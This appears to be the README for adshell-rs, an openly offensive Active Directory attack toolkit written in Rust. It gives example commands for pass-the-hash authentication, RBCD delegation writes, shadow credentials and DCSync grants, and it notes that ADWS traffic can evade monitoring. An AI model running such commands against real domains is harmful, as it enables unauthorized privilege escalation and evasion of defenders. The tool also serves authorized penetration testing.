adshell-rs
adshell-rs for Active Directory Shell is a cross-platform, pure-Rust interactive LDAP shell and Active Directory attack toolkit. It runs each action over either LDAP(S) or ADWS (SOAP), selected at runtime with --transport ldap|soap: the same technique, the same result, only a different wire. ADWS (the SOAP/WS-* endpoint on TCP 9389, which the DC proxies to its local LDAP) is often reachable when LDAP is filtered or closely monitored, and the traffic reads as legitimate admin tooling.
It is built on the transport model of RustHound-CE (same ldap3 + rustls stack, the same --transport ldap|(adws,soap) switch) and performs its ADWS reads and writes through adws. Authentication mirrors RustHound-CE and PassTheCert-rs: password, pass-the-hash (NTLM), Kerberos and Pass-the-Certificate over LDAP; password and pass-the-hash over ADWS.
- HELP.md - How to compile it? How to use it? All actions with examples.
- CHANGELOG.md - A record of all significant version changes
- ROADMAP.md - Transports, implemented actions and planned evolutions.
# Build a release binary
cargo build --release
# Binary: ./target/release/adshell-rs# Install and/or update adshell-rs from cargo command
cargo install adshell-rs# Confirm the identity (LDAP, simple bind)
adshell-rs -d essos.local -u daenerys.targaryen -p 'BurnThemAll!' --action whoami
# Confirm the identity (SOAP)
adshell-rs -d essos.local -u daenerys.targaryen -p 'BurnThemAll!' --transport adws --action whoami
# Same, over ADWS (SOAP) instead of LDAP
adshell-rs -d essos.local -u daenerys.targaryen -p 'BurnThemAll!' -t soap --action read_rbcd --delegate-to BRAAVOS$
# Pass-the-hash, write RBCD over ADWS
adshell-rs -d essos.local -u daenerys.targaryen -H 34534854d33b398b66684072224bb47a -t soap --action write_rbcd --delegate-to MEEREEN$ --delegate-from attacker$The transport is ldap by default; -t soap (alias -t adws, case-insensitive) runs the same action over ADWS. More examples and the full list of actions are on the help page.
--action defaults to ldapshell, the interactive shell, which drives whichever transport authenticated (each command runs over LDAP or ADWS).
| Action | LDAP | ADWS | Description |
|---|---|---|---|
ldapshell (default) |
β | β | Interactive shell exposing every action (Tab completion, history). |
whoami |
β | β | Confirm the authenticated identity. |
read_rbcd / write_rbcd / remove_rbcd / flush_rbcd |
β | β | Resource-Based Constrained Delegation (msDS-AllowedToActOnBehalfOfOtherIdentity). |
del_computer |
β | β | Delete a machine account. |
add_computer |
β | β | Create a machine account (ADWS needs Create). |
modify_user (--elevate) |
β | β | Reset a user's password, or grant DCSync. |
add_member / remove_member |
β | β | Group membership. |
enable_account / disable_account |
β | β | Toggle the ACCOUNTDISABLE UAC flag. |
read_object |
β | β | Dump every attribute of an object. |
add/list/remove/flush_shadow_cred |
β | β | Shadow Credentials via msDS-KeyCredentialLink. |
See ROADMAP.md for the full plan and HELP.md for examples.
This is offensive security tooling. Use it only against systems you are explicitly authorized to test.
